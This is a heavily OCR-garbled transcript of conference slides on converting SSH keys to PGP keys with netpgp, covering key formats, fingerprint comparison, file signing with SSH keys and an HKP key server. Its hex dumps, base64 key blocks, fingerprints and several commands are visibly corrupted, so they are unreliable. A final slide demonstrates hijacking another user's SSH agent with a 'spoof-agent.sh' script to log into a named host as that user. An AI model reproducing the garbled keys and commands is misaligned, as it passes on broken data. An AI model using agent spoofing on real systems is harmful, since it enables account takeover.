SSH and PGP Key
Convergence




Agenda

® Key formats

® Key convergence




Dingbats!
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Problem

® SSH everywhere
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Glimmer of hope

® Same kind of keys




Challenge







SSH pubkey format

e RFC 4716

® Barebones




SSH Key Format

Default
[5:47:46] eurcbsdconfosx-wml ~/.ssh [7Z] > 1s -al
total 16
2 eurobsdcon eurobsdcon 512 Oct 4 21: -
drwxr-xr-x 3 eurobsdcon eurobsdcon 512 Oct 4 23:16 ..
1 eurobsdcon eurobsdcon 1743 Oct 4 21:46 1d_rsa
~-r-r--r-- 1 eurobsdcon eurobsdcon 432 Oct 4 21:46 1d_rsa.pub
[5:47:49] eurcbsdconfosx-vml ~/.ssh [73] > cat id_rsa.pub
ssh-rsa AAAAB3NzaClycZEAAAABIWAAAQEAvPYWSUheVK2zxWkrQ3mCTQ+YnvZqvEiwUSP7YdCpUog7 L KwwCT+8Y1vSdHpROkHvNZE7vIphxeC4saoc/E
1uaukZGw2]SS1/eRFe61PpFz+bmRPSk1SBD6FI2bCiIYSYEUSZ1 1bzssOaEqgA9IV+yms)zAyblpScngqOcUbR7 r7yQZTY+079gtX4NyHP2Tn2urqIC8nx
Z3//1xZmHMRS /MmwSkePWXom8E f FerrbzMi LwQmj 11RbEZnWo+ckDdAI7 sBrl f1v8+9wCdqLHOxMcYB j tgK8F rIIBOSFbuOCunTB j YHaSKMbCc19e ) ZB6t
alUph8RpDax16qdZ20ceK3r1Q== eurobsdcon@osx-vml,crowthorne.alistaircrooks.co.uk
[5:47:55] eurcbsdconfosx-vml ~/.ssh [74] > awk '{ print $2 }' id_rsa.pub | codecs basebidecode | codecs hexdump
00000 00 00 00 07 73 73 68 2d 72 73 61 00 00 00 01 23 «+++Ssh-rsa....¥
00016 00 00 01 01 00 be 96 16 f1 48 Se 54 ad b3 c5 69 1
00032 Zb 43 79 82 4d Of 98 9e f6 6a bc 48 b® 51 23 fb
00048 61 dd a9 52 88 3b 2c ac 30 09 3f bc 62 2b dZ2 74
. 0ooo4 7a 51 f6 41 ef 9f 61 3b bc 8a 61 ¢S5 €0 b8 bl aa
B 00080 1c fc 48 ae 6a €9 19 1b 0d 89 49 28 bf 79 11 Se
00996 ea 53 €9 17 3f 9b 99 13 dZ2 93 Se 41 Of al 48 d9
90112 b® aZ 21 84 bZ 11 4e 59 97 56 f3 b2 ¢3 9a 12 a8

00144
00160
09176
09192
00208
00224
002490

71 46 dl ee be f2 41 94 d8 fb 4e fd aa d5 8 37
21 cf d9 39 f6 ba ba 88 @b 9 f1 67 7f ff d7 16
66 1c c4 52 fc c9 b0 4a 47 8f 59 7a 26 O 47 <5
7a ba db cc ¢c8 8b ¢1 99 a3 db 54 S5b 11 99 db6 a3
e7 24 0d dZ 3b b® 1a e5 7e Sb f4 fb dc 02 76 a2
¢7 3b 13 1c 7d 80 63 b6 02 bc 16 bZ 08 04 ee 45
6e e3 82 ba 74 c1 8d 51 da 48 a3 1b 99 c8 fd 78
00256 96 41 ea d6 94 52 98 7c 46 99 da cb 2e aa 77 63
00272 9¢c 78 ad eb 95

[5:48:12] eurcbsdconfosx-wvml ~/.ssh [75] > ||

|
|
|
|
|
|
|
|
00128 | 00 f4 85 7e ca 6b 99 cc Oc 9b db 9e Sc 9e 6a bd
|
|
|
|
|
|
|
|
|







PGP Keyring

® PGP packets (from RFC 4880)

ackets one after the other
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:56:01] agcBosx-wml ~ [175] > netpgp --list-packets ~/.gnupg-dsa/pubring.gpg
netpgp: default key set to "d4a643cS"
=> OPS_PARSER_PTAG: Public Key

*%% NEXT KEY #*¢+

==== ptag new_format=0 type=6 length_type=1 length=8xla2 (418) position=0x0 (0)
Public Key packet
=> Public Key
PUBLIC KEY packet

PUBLIC KEY
Version: 4
Creation Time: time=1274229844 (Tue May 18 17:44:04 2010)
Algorithm: DSA (Ox11)
p=AGD35FI3E195094301D635AC894566E3E890F30ACB13493448BCA41A9B2(7(92C26BES8571626(362027187EC94180775ES35E6505BEZ0D3C4AC
9DD2941B0724DA33BEA4440124D3B51D74A8A1D60F4554D81CDEEFBACS86BE73CFAE13462355841A656BSEQABF1FF26010694612C61A6A205CBADD
43E4D40516EE1S3E9(B327
q=88B520A324F5F71(9577E9F3201C05ADDSCC46B9
1-g=8BB3ESFDCDE984D3799E2F7A8662A68F 16B35F9428EASBFBI4B(3228972FFC752AA7(26847CF35AB63808AAAC3FDFBO780(D2D6472AD8706B723
L DA4955E506853057BE263063182081(B6E 15B58FE2AF31357F5196DDA4A9B2F76299CEA3830F51BDDASSBI7571CA70A9133B0CSACEL358B4AZFAEL
C8B5F3((B241D24D91DE1D
y=27187BOADO70A12FFFIC2139251F12EQF208AFDDD277DDCOBESGF8921632F26574764239198D152EE9CEI8C434D6BE4SFASIBZASOOS4B4EOATEA
F380E01151306BBC17F2CFSS8AEG47FS10AAB17E90777197D128464FO1AGBAGE3316037B7BB436E21ECBE8C06496B307FA72348251ACS6407AC74D4
GADOBOISEIIARS1F3CC17D

end of PUBLIC KEY
| => OPS_PARSER_PACKET_END
packet contents:
[421 chars]
00000 | 99 01 a2
00016 | 95 09 43
00032
00048
00064

w
-

&
b

|

|

I

|

00096 |

00112 |

. 00128 |

00144 |

N 00160 |
00176 | ab
90192 | fc
00208 | fb

|

|

|

|

|

|

|

|

|

|

|

|

|

f3
35
a4
18
9d
74
cf
10
ee
95
e5

TLAKTRRTREL
SRABBAFXREFERREGE
EIGERSTIRIISAIER
SREPHEIFASGRIBE S

ERASRRERITRIGSTRLEIRES
SRRNBIGLSIPERSEHLULEEH
TRELRRBEPRRGELGLTEGD

00224 06
00240 ez
00256 83
00272 ce
00288 de
00304 25
00320 16
09336 34
09352 ed
00368 17
00384 37 bb 43

00400 | 23 48 la c5 64 07
90416 | 05 1f 3c c1 7d

=> OPS_PARSER_PTAG: User ID

31
51
58
03
12 e0
f2 65
8e 45
51 30
Q7 77

SIRTRENIBREGFSELEREEBY
EF&E

KREREELEERYAGTERFAGRES
SRERRBGUOLSRESEFLRENEGR
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b4
ae 64 7f
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49 6b 30
do 80 98

GRIBEGREELRILRINRESRAREELHR
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&
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~
>

==== ptag new_format=0 type=13 length_type=0 length=0x3c (60) position=0x1la5 (421)
User ID packet

=> User ID

fSER ID packet







SSH Host Keys

[21:28:14] agcfosx-wal ...local/src/eurcbsdcon-2010 [424] > netpgpkeys --ssh --sshkeyfile=/etc/ssh/ssh_host_rsa_key.pu
b -1 --hash mdS ‘ : )

1 key found 17'[;?/;'
signature 1024/RSA (Encrypt or Sign) fcddlct@8befdcdb 2008-08-11 ,cf

Key fingerprint: €935 902d ebfl 76ba fcdd 1c60 8bef 4c4b |

uid osx-vml,crowthorne.alistaircrooks.co.uk (/etc/ssh/ssh_host_rsa_key.pub) <root@osx-vml,Crowthorne.alis

taircrooks. co.ul>

" [21:28:21] agcRosx-wal . ..local/src/eurcbsdcon-2010 [425] > netpgpkeys --ssh --sshkeyfiles/etc/ssh/ssh_host_rsa_key.pull

b -1 --hash md5 | awk 'NR == 3 { print $3 $4 $5 $6 $7 $8 $9 $10 }'

€935992debf176baf cdd1co@8bef4csb

[21:28:3¢] agcfosx-wml ...local/src/eurcbsdcon-2010 [426] > ssh-keygen -1 -f /etc/ssh/ssh_host_rsa_key.pub | awk '{ gs
ub(":", "", $2); prmnt $2 }'

e935902debf176baf cdd1cod8bef4cdb

[21:28:41] agcfosx-wal ...local/src/eurcbsdoon-2010 [427] > |}




SSH User Keys

[21:52:58] ewrobsdconfosx-wml ~ [12] > id

uid=1004(eurobsdcon) gid=1004(eurobsdcon) groups=1004(eurobsdcon)
[21:53:02] euwrcbsdconfosx-vml ~ [13] > 1s -al ~/.ssh

total 16

~
)
.

2 eurobsdcon eurobsdcon 512 Oct

drxr-xr-x 3 eurobsdcon eurobsdcon 512 Oct
1 eurobsdcon eurobsdcon 1743 (Oct

-rw-r--r-- 1 eurobsdcon eurobsdcon 432 Oct

[21:53:06] eurcbsdconfosx-wvml ~ [14] > netpgpkeys --ssh -1 --hashe=mdS

S 1 key found
PRt signature 2048/RSA (Encrypt or Sign) 5df055830fddfbd9 2010-10-05
Key fingerprint: a619 e52a bact 2cdS 5df@ 5583 0fdd fbd9
uid osx~-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/id_rsa.pub) <eurobsdcon@osx-vml,cro

orne.alistaircrooks. co.ulk>

[21:53:14] eurcbsdconfosx-vaml ~ [15] > netpgpkeys --ssh -1 --hash=mdS | awk 'NR == 3 { print $3 $4 $5 $6 $7 $8 %9 %10
3

a619e52abact2cdS5df055830fddfbd9

[21:53:20] eurcbsdconfosx-val ~ [16] > ssh-keygen -1 -f /home/eurobsdcon/.ssh/id_rsa.pub | awk '{ gsub(":", "", $2); p
rint $2 }'

0b19%e52abact2cdS5df055830fddfbd9

[21:53:36] eurcbsdconfosx-wal ~ [17] > ||




SSH Key Management

® Does anyone do this?
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SSH User Key Signing

£ N N

Default
[22:11:36] eurcbsdconfosx-vml ~ [47] > netpgp -s --ssh ,cshrc
Enter PEM pass phrase:
signature 2048/RSA (Encrypt or Sign) d9b73e6f1b99d523 2010-10-05 ; '}“'”
Key fingerprint: 8d46 40aa a9a9 912a 603f 7716 d9b7 3ebf 1b99 dS5Z3
uid osx~-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/1id_rsa,pub) <eurobsdcon@osx-v.1 crowth
ome.alistaircrooks. co.ulk>
i [22:11:48] eurcbsdconfosx-wval ~ [48] > 1s -al .cshrc*
B -rw-r--r-- 1 eurobsdcon eurobsdcon 771 Dec 22 2008 .cshrc
1 eurobsdcon eurobsdcon 1088 Oct 4 22:11 .cshrc.gpg
[22:11:56] eurcbsdconfosx-wvml ~ [49] > netpgp -v --ssh .cshrc.gpg
Good signature for .cshrc.gpg made Mon Oct 4 22:11:48 2010
using RSA (Encrypt or Sign) key d9b73e6f1b99d523
signature 2048/RSA (Encrypt or Sign) d9b73e6f1b99d523 2010-10-05
Key fingerprint: 8d46 40aa a9a9 912a 603f 7716 d9b7 3ebf 1b99 d5Z23
uid osx-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/.ssh/id_rsa.pub) <eurobsdcon@osx-vml,crowth
orne.alistairrcrooks.co.ulc>

[22:12:10] eurcbsdconfosx-val ~ [58] > |}




SSH Host Key Signing

[22:36:08] agcfosx-wml ...src/eurcbsdcoon-2018/host-key-sigming [2Z] > sudo netpgp --sshkeyﬁ'le-/etc/ssh/ssh_host_rsa_k
ey.pub --output passwd.gpg -s /etc/passwd
signature 1024/RSA (Encrypt or Sign) 040180871e00404a 2008-08-11 %, t)g:{
Key fingerprint: cd4aa b385 4796 ebce 606c fOcZ 0401 8087 1e00 404a @~
uid osx~-vml.crowthorne.alistaircrooks.co.uk (/etc/ssh/ssh_host_rsa_key.pub) <root@osx-vml.crowthorne.alis
taircrooks. co.ul>
[22:36:17] agcfosx-wal ...src/eurcbsdcon-2018/host-key-signming [23] > 1s -al
total 6
drwxr-xr-x 2 agc agc 512 Oct 4 22:36 .
drwxr-xr-x 4 agc agc 512 Oct 4 22:23 ..
1 root agc 1476 Oct 4 22:36 passwd.gpg
[22:36:24] agclosx-wml ...src/eurcbsdcon-2018/host-key-sigming [24] > sudo chmod 644 passwd.gpg
[22:36:31] agcfosx-wml ...src/eurcbsdcon-2018/host-key-signming [25] > netpgp -v --sshkeyfile=/etc/ssh/ssh_host_rsa_key
.pub passwd.gpg
Good signature for passwd.gpg made Mon Oct 4 22:36:17 2010
using RSA (Encrypt or Sign) key 040180871e00404a
signature 1024/RSA (Encrypt or Sign) 040180871e00404a 2008-08-11
Key fingerprint: c4aa b385 4796 ebce 606c fOcZ 0401 8087 1e00 404a
uid osx-vml, crowthorne.alistaircrooks.co.uk (/etc/ssh/ssh_host_rsa_key.pub) <root@osx-vml,crowthorne.alis
taircrooks. co. ulke>
[22:36:37] agcfosx-waml ...src/eurcbsdcon-2018/host-key-signing [26] > |
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Running hkpd

: [22:58:31] eurcbsdconfosx-wval ~ [54] > hkpd -D -S ~/.ssh/id_rsa.pub -H ~/.ssh




Retrieving keys by HKP

Default
[22:59:23] agcfosx-wal ...src/eurcbsdcon-2018/host-key-signing [44] > hkpc -h localhost index éurobsdcon
1 key found
signature 2048/RSA (Encrypt or Sign) S5df055830fddfbd9 2010-10-05 ; '}'""'
Key fingerprint: a619 e52a bact 2cdS 5df@ 5583 @fdd fbd9 g3
uid osx-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/1id_rsa.pub) <eurobsdcon@osx-vml,crowthorne.alist

avrrcrooks. co. uk>

[22:59:3@] agcBosx-wml ...src/eurcbsdcon-2018/host-key-signing [45] > hkpc -h localhost vindex eurobsdcon

1 key found

signature 2048/RSA (Encrypt or Sign) S5df055830fddfbd9 2010-10-05

Key fingerprint: a619 e52a bact 2cdS Sdf@ 5583 @fdd fbd9

uid osx-vml.crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/.ssh/id_rsa,.pub) <eurobsdcon@osx-vml,crowthorne.alist
aircrooks.co.ulk>

[22:59:4¢] agcosx-wal ...src/eurcbsdcon-2018/host-key-signing [46] > hkpc -h localhost get eurobsdcon
--=-=-BEGIN PGP PUBLIC KEY BLOCK
| Version: NetPGP portable 3.99.12/[20100901)]

xsBLBEyqrb@BCAC+1hbxSFSUrbPFaStDeYJNDS1e9mg8SLBRL/thOK1 S1DssrDAIP7x1K9)0elH2
Qe+ FYTu8imHF4L 1 xghz8SKSqoRkbDY1 JKLISEV7qU+kXPSUZESKTXKEPOU JZSKThhLIRT LmXVvOy
w50SgADOhX7KawnMDIviinl yeCri1xRtHuvv]B1IN) 7Tv2qlfg31c/Z0fabuoglyfFnf//XFmYcxFLS
ybBKR49Ze1bwR8VoutvMyIvBCaPWVF sRmda) SyQN@ JjuwGuV+N/T73A) 20sc7Exx9gG0ZArwNsggE
7kVu44K6dMGNUdpIoxs)yP141 kHglpRSmHxGkNrGLgp3YSx4 reuVAAY 1zX9vc3gtdm@xLmNyb3d0
a9ybmUuYWxpc3RhaX] jcmOva3MuYZ28udiisgK(90ob211L2V1icm91 cZR 1bZ24vLnNza(9pZF9ycZEu
cHV1KSABZXVyb2)zZGNvbkBvc3gtdm@xLmNyb3d8aGIybmUuYWxpc3RhaX] jemOva3MuYZ8udiis+
=Jmu(

[22:59:46] agcfosx-vaml ...src/eurcbsdcon-2818/host-key-signing [47] > ||




HKP beyond localhost

[6:14:42] euwrcbsdconfosx-val ~ [81] > hkpd -D -S ~/.ssh/id_rsa.pub -H ~/.ssh -h osx-vml.c rme.alistaircrooks.co.u
k $ 7% 2w e Ay
| getaddrinfo: No address associated with hostnamehkpd: can't bind inet6 socket 3




Different VM

[2:53:39] agcfomdb4-va? ~/eurcbsdcon [57] > uname -a

NetBSD amd64-vmZ.cupertino.alistaircrooks.com 5.99,39 NetBSD 5.99,.39 (GENERIC) #2: Sat Sep 25 11: 10 56 PDT 2010 OQCGa
md64-vmZ . cupertino.alistaircrooks.com: /usr/build/ob)/x86_64/usr/src/sys/arch/amdo4/compi 1e/GENERTIC amd64 '};fz’.
[2:53:41] agcfomdbd-wa? ~/eurcbsdcon [58] > hkpc -h osx-vml index eurobsdcon @~

1 key found

signature 2048/RSA (Encrypt or Sign) 5df@55830fddfbd9 2010-10-05

Key fingerprint: a619 e52a bact 2cdS Sdf@ 5583 0fdd fbdd

uid osx-vml,.crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/id_rsa,.pub) <eurobsdcon@osx-vml,crowthorne.alist
aircrooks. co.ulk>

[2:53:54] agcPomdb4d-va? ~/eurcbsdcon [59] > hkpc -h osx-vml get eurobsdcon
-=-=-=-BEGIN PGP PUBLIC KEY BLOCK
Version: NetPGP portable 3.99.12/[20100901)

S xsB LBEyqrb@BCAC+1hbxSFS5UrbPFaStDeYJNDS1e9mg8SLBRL/thOK1S1DssrDAIP7x1K9)0elHZ
Qe+fYTu81mHF4L1xghz8SKSq6RkbDY 1 JKLISEV7 qU+kXPSUZESKTXKEPOUJZSKThhLIRTImXVvOy
w50SqADOhX7KawnMDJviinlyeCrixRtHuvvIB1INj7Tv2qlfg31c/Z0fabuoglyfFnf//XFmYcxFLS
ybBKR49Ze1bwR8VoutvMyIvBCaPWVFsRmda)SyQNG juwGuV+N/T73A) 20sc7Exx9gG0ZArwNsggE
7kVu44K6dMGNUdpIoxs)yP141kHglpRSmHxGkNrGLgp3YSx4 reuVAAY jzX9vc3gtdm@xLmNyb3d0
aG9ybmUuYWxpc3RhaX] jcmOva3MuYZ28uditsgK(9ob211L2V1cm91 cZR 1bZ24vinNza(9pZF9ycZ2Eu
CHV1KSABZXVyb2)zZGNvbkBvc3gtdmdxLmNyb3d@aGOybmUuYWxpc3RhaX] jcmOva3MuYZ28udiis+
=Jmu(

[2:54:62] agcPomdbd-ve2 ~/eurcbsdcon [68] > ||




Importing the Key

[10:09:31] agcfomdb4-va? ~/eurcbsdcon [155] > hkpc -h osx-vml get eurobsdcon > eurobsdcon.pgp " -
[10:€9:52] agcPomdbd-wvm? ~/eurcbsdcon [156] > netpgpkeys --import eurobsdcon.pgp

netpgp: default key set to “"d4ab43c5"

2 keys

signature 1024/DSA 8222c3ecd4ab43cS 2010-05-19 [EXPIRES 2013-05-18]

Key fingerprint: 3ed4a Sdf4 033b 2333 219 lafd 8222 c3ec d4ab 43cS

uid Alistair Crooks (DSA TEST KEY - DO NOT USE) <agc@netbsd.org>

encryption 2048/Elgamal (Encrypt-Only) a97a7db6d727bcle 2010-05-19 [EXPIRES 2013-05-18]

I signature 2048/RSA (Encrypt or Sign) d9b73e6f1b99d523 2010-10-05
Key fingerprint: 8d46 40aa a9a9 912a 603f 7716 d9b7 3e6f 1b99 d523
uid osx~-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/.ssh/id_rsa.pub) <eurobsdcon@osx-vml,crowth

orne.alistaircrooks.co.ulk>

[10:19:16] agcPomdb4-vm? ~/eurcbsdcon [157] > uname -a
NetBSD amd64-vmZ.cupertino.alistaircrooks.com 5.99.39 NetBSD 5.99.39 (GENERIC) #2: Sat Sep 25 11:10:56 PDT 2010 agcfa
md64-vm2 . cupertino.alistaircrooks.com: /usr/build/obj/x86_64/usr/src/sys/arch/amd64/compile/GENERIC amd64

| [10:19:32] agcfomdbd-wa?Z ~/eurcbsdcon [158] > I
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Pgp2ssh

[5:19:53] agcfomdbd-va? ~/ewrcbsdoon [12Z] > undme- -a o ’
NetBSD omd64-vmZz.cupertino.alisteircrooks.com 5.99.39 NetBSD 5.99.39 (GENERIC) #2: Sat Sep 25 11:10:56 PDT 2010 agc@am
db4-vm2 , cupertino . alistaircrooks, com: /usr/build/ob)j/x86_64/usr/skc/sys/arth/amd64/compile/GENERIC amd64
" [5:19:58] ogcfomdbd-wa? —/eurcbsdoon [123] > pp2ssh -h osxyyml eurobsdcon > idseurobsdcon.pub
i | [5:11:03] agcfomdéd-ve? ~/eurcbsdcon [124] > nctpgpkays --sshkéyflle’ 1d grobsdcon pub -1
* 1 key found ;
signature 2048/RSA (Encrypt or Sign) 23df24hac060 2010-10-03 - ‘
Key fingerprint: ccd8 643e 89d4 12e9 690d 7302 23df-24be cOdadd6S
uid amd64-vm2 , cupertino . alistaircrooks, yoom (1id_eurobsdcon.pub) <eurobsdcon>

[5:11:27] agcfomdtd-wa? ~/eurcbsdceon [125)5 18 =@l 1d_eurobsdcon.pub
-r-r--r-- 1 agc agc 392 Oct " 3 05:91id_eurobSdcon.pub

[5:14:24] agcfomdéd-we2 ~/eurcbsdcon [126] > |} | -

~
-~ A‘wb'




I, S . P :;, ..; ’
i . » i
2 :

Received Key

[1:02:07] agcfomdtd-va?2 ~/eurcbsdcon [194] > pgpZssh -h osx-vml eur'obsdcon ¥ 1d_eurobsdcon.pub
[1:02:14] agcfomdéd-ve? ~/eurcbsdcon [195] > 1s -al 7

total 8 + " s VB J 74 ¥

drwxr-xr-x g

' &
W= eumbsdw D ‘ ey
’ f

~MW-P===- o1: 02 1dieurobsdcon . pub
[1:02:19] ogcfomdbd-va?2 ~/eurcbsdcon [196] > ot idzeurobsdcom.pub
ssh-rsa AAAMAB3NzaClycZEAAAABTWAAAQEAVRYREUhe VK2 2skFIBmC TQ+ YnvZqvEiwUSP7YdCpUog 7L KwwCT+8Y1vSdHpROKHVNZE 7vIphxeC4saoc/E
1uaukZGw2]SS1/eRFeb] PpFz+bmRPSk1SBDEF I2bCL Y SYEUSEL 10z ss0aEqgASIVFyms ) zAyb1pScngq9cUbR7 r7yQZTY+079gt X4NyHP2Tn2urqIC8nx
B//leilRS/MSkePWXo.BEfFerrbzmLanJlleWdeI?sBrlﬂv@+9w(dqLH)xMcFYBJth8FrIIBOSFbuOCunTBJVHaSKMbCCJ9eJZB6t
alUph8RpDaxi6qd20cek3riQ== eurobsdcon

[1:02:28] ogcfomdbd-wa? —/eurcbsdcon [197] > owk '{print $2}' 1d_eur0550con.pub | codecs atob | codecs hexdump
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Key Management

® Key trust




SSH Key and Trust

® Trust is snapshot




PGP Keys

® Good at this




SH vs PGP Keys

10:52:06] agcfomdb4-wa? ~/eurcbsdcon [165] > hkpc -h osx-wvml vindex eurobsdcon ! - hebr e

C

1 key found o I
signature 2048/RSA (Encrypt or Sign) 5df055830fddfbdd 2010-10-05 :‘);-:1-'

Key fingerprint: o619 e52a bacbt 2cdS 5df@ 5583 0fdd fbd9 "3 >

uid osx-vml, crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/id_rsa.pub) <eurobsdcon@osx-vml,crowthorne,alist

aircrooks. co.uk>

[19:52:15] agcfomdb4-va2 ~/eurcbsdcon [166] > netpgpkeys --import eurobsdcon.pgp
netpgp: default key set to "d4a643c5"
2 keys
signature 1024/DSA 8222c3ecd4a643cS 2010-05-19 [EXPIRES 2013-05-18]
Key fingerprint: 3eda S5df4 033b 2333 219 lafd 8222 c3ec d4ab 43cS
uid Alistair Crooks (DSA TEST KEY - DO NOT USE) <agc@netbsd.org>
S encryption 2048/Elgamal (Encrypt-Only) a97a7db6d727bcle 2010-05-19 [EXPIRES 2013-05-18]

N signature 2048/RSA (Encrypt or Sign) d9b73e6f1b99d523 2010-10-05
Key fingerprint: 8d46 40aa a9a9 912a 603f 7716 d9b7 3eb6f 1b99 d523
uid osx-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/id_rsa.pub) <eurobsdcon@osx-vml,crowth
orne.alistaircrooks.co.ulk>

[19:52:36] agcPomdbd-ve2 ~/eurcbsdcon [167] > ||




Key Wars 2010




SSH vs PGP Keys

Default
[10:52:06] agcfomdbd-wvaZ2 ~/eurcbsdcon [165] > hkpc -h osx-vml vindex eurobsdcon
1 key found \
signature 2048/RSA (Encrypt or Sign) 5df055830fddfbd9 2010-10-05 >, 7)%:1:
Key fingerprint: a619 e52a bact 2cdS S5df@ 5583 @fdd fbd9 /
uid osx~-vml,crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,.ssh/id_rsa,.pub) <eurobsdconBosx-vml,crowthorne,alist
awrcrooks. co. ulc>

[19:52:15] agcPomdbd-va2 ~/eurcbsdcon [166] > netpgpkeys --import eurobsdcon.pgp
netpgp: default key set to "d4ab43cS5”
2 keys
signature 1024/DSA 8222c3ecd4a643cS 2010-05-19 [EXPIRES 2013-05-18]
Key fingerprint: 3ed4a Sdf4 033b 2333 2190 lafd 8222 c3ec d4ab 43¢5
B uid Alistair Crooks (DSA TEST KEY - DO NOT USE) <agc@netbsd.org>
} encryption 2048/Elgamal (Encrypt-Only) a97a7db6d727bcle 2010-05-19 [EXPIRES 2013-05-18]

signature 2048/RSA (Encrypt or Sign) d9b73e6f1b99d523 2010-10-05
Key fingerprint: 8d46 40aa a9a9 912a 603f 7716 d9b7 3ebf 1b99 d523
uid osx-vml, crowthorne.alistaircrooks.co.uk (/home/eurobsdcon/,ssh/id_rsa.pub) <eurobsdcon@osx-vml,crowth

orne.alistaircrooks. co.ulk>

[19:52:36] ogcPomdbd-va2 ~/eurcbsdcon [167] > |}




PGP Key Fields

netpgp: default key set to "(0596823"
1 key found
signature 2048/RSA (Encrypt or Sign) 1b68dcfcc0596823 2004-01-12
Key fingerprint: d415 9deb 336d ed4cc cdfa 09cd 1b68 dcfc <059 6823
uid Alistair Crooks <alistair@hockley-crooks.com>
Alistair Crooks <agc@pkgsrc.org>
Alistair Crooks <agc@netbsd.org>
Alistair Crooks <agc@alistaircrooks.com-
Alistair Crooks (Yahoo!) <agcrooks@yahoo-inc,com-
encryption 2048/RSA (Encrypt or Sign) 79deb6le488eee74 2004-01-12

[10:59:21] agcfomdb4-va? ~/eurcbsdcon [171] > netpgpkeys --homedir ~/.gnupg-rsa -1 agc ' l X e

[19:59:26] agcfomdéd-ve2 ~/eurcbsdcon [172] > ||




Blind Signature

® RSA is based around multiplicative

i Y 1 8 W e L



http://en.wikipedia.org/wiki/Blind_signature
http://en.wikipedia.org/wiki/Blind_signature

Problem

® SSH only has one key




One Key Problem

® Generate a second key




Netpgp signature, encryption keys

Default
[19:59:21] agcfomdb4-va?Z ~/eurcbsdcon [171] > netpgpkeys --homedir ~/.gnupg-rsa -1 agc
netpgp: default key set to "(0596823"
1 key found
signature 2048/RSA (Encrypt or Sign) 1b68dcfcc0596823 2004-01-12
Key fingerprint: d415 9deb 336d ed4cc cdfa @@cd 1b68 dcfc <059 6823
uid Alistair Crooks <alistair@hockley-crooks.com
uid Alistair Crooks <agc@pkgsrc.org>
uid Alistair Crooks <agc@netbsd.org>
uid Alistair Crooks <agc@alistaircrooks.com-
uid Alistair Crooks (Yahoo!) <agcrooks@yahoo-1inc,com
encryption 2048/RSA (Encrypt or Sign) 79debble488eee74 2004-01-12

[10:59:26] agcPomdb4-ve2 ~/eurcbsdcon [172] > |}

[22:05:59] agtfomdbd-wa? —/eurcbsdcon [181] > 8Pg-~-1ist-key agc
2048R/(0596823 2004-01-12
Alistair Crooks <agc@pkgsrc.org> : "B
Alistair Crooks <alistonr®hockley-crooks. com>
Alistair Crooks <agc@netbsd.orgy' P
Alistair Crooks <agc@alistatPcrapks . coms 2
Alistair Crooks (Yahoo!)=0gcrooks@yahoo-inc . Com>
2048R/488BEEE74 2004-01-12

[22:06:01] agcfomdbd-ve2 ~/eurcbsdcon [182) > §




Set up new user

[17:37:23] agcPomdbd-va? ~/eurobsdcon [215] ! 50' useradd -m -g=uid eurobsdcon

Password:
L [17:37:45] oagcfomdbd-wa? ~/eurcbsdoon [216] > sudo mkdir ~eurobsiicon/. ssﬁ‘ 4
B [17:37:5%] agcfomdbd-wa? ~/eurcbsdoon [227] > SGdo cp id_eurobsdcon.pub. ~eurobsdcon/.ssh/id_rsa.pub
[17:38:17] agcfomdéd-va2 ~/eurcbsdcon [218] > sudo ghiod 700 ~éurobstcon/ ssh
[17:38:44] agcfomdbd-ve? ~/eurcbsdcon [219] > WWn -R emobsdcorv~eﬁrobsdcon/ ssh
[17:38:55] agcfomds-va2 ~/eurcbsdcon [228] > |}

DY 3




Logging in with SSH

[17:52:29] eurcbsdconfosx-wval ~ [286] > ssh 1!.”1& 135.133 o :

The authenticity of host "172.16,135.133 (172.16.135.133)"' can't be estaplished.
RSA key fingerprint is bl:Sc:0d:cb:db:19:39:7b:da;6c:fa:48:5F:21996:32,,74 ~

Are you Sure you want to continue connecting (y€s/no)? yes

Warming: Permanently added '172.16,135.133"' (RSA) to, the 11st 8f known ho§ts
Password: " = o

Last login: Fri Oct 8 17:51:32 2010 from oSx=-vml ' Za

NetBSD 5.99.39 (GENERIC) #2: Sat Sep 25 11:10:56 PDI,2010

Welcome to NetBSD!

This system is running a development smapshot of*“the NetBSD operating system,
also known as NetBSD-current., It is véry possible that it has serious<bugs,
regressions, broken features or other problems. Please bear this in mwing
and use the system with care. < B
S You are encouraged to test this version as thorotghly as possible, Should you v
encounter any problem, please report it back to ¥ dévelopment Feghiusing the /‘ o
send-pr(1l) utility (requires a working MTA). ‘“E£ ¥ours is not properly sef up, W 4
use the web interface at: http://www.NetBSD.org/Support/send-pr.html ,

/“
! | @b ’
Thank you for helping us test and improve NetBSO. ?2 &

amd64-vmZ2$ uname -a

NetBSD amd64-wvmZ,cupertino.alistaircrooks.com '5,99,.39 NetBSD $.99.39 (GENERIC) #2: Sat Sep 25711:10:56 PDT 2010 agcla
md64-vm2 . cupertino.alistaircrooks, com: /usp/bun Ld/oby/x86_64/uSr/src/sysfacth/amd64/compile/GENERIC amd64

amd64-vm2$ 1d

uid=1002(eurobsdcon) gid=1002(eurobsdcon) groups=1082({eurobsdcon)

amd64-vmz$ who am 1

eurobsdcon pts/S Oct 8 17:52 (osx-vml)

amd64-vm2$ |




Dingbat







Agents are bad, mmkay?

[16:11:27] eurcbsdconfosx-wval ~ [24@] > id -
uid=1004(eurobsdcon) gid=1084(eurobsdcon) groups= 1%4(eurobsdcon)
[16:11:3¢9] eurvbsdconfosx-val ~ [241] > ssh-add -1 3
Could not open a connection to your authentication agent. .
[lG 11:37] eurcbsdconfosx-val ~ [242] > ,/show<agent-tisers. sh ' -
r > . il
l:lﬁ 11:45] eurcbsdconfosx-wal ~ [243] > ./spoof-agént:sh -u agc ssh-f¥p.netbsd.org
Last login: Fri Oct 8 23:11:28 2010 from port-212,203-245-2347static.qgsc.de
NetBSD 5.1_RC4 (NBFTP) #8: Sun Sep 19 19:07;26 UIC 2810

Welcome to NetBSD!

8 Chemicals, n.: .
Noxious substances from which modern foods are made. v &
[16:12:36] agcfmorden ~ 1 > id o
uid=1116(agc) gid=125(netbsd) groups=125(Cnetbsd), 1116€ogc), 608(pkg-sec) g

[16:12:42] agcfmorden ~ 2 > || b g




show-user-agents.sh

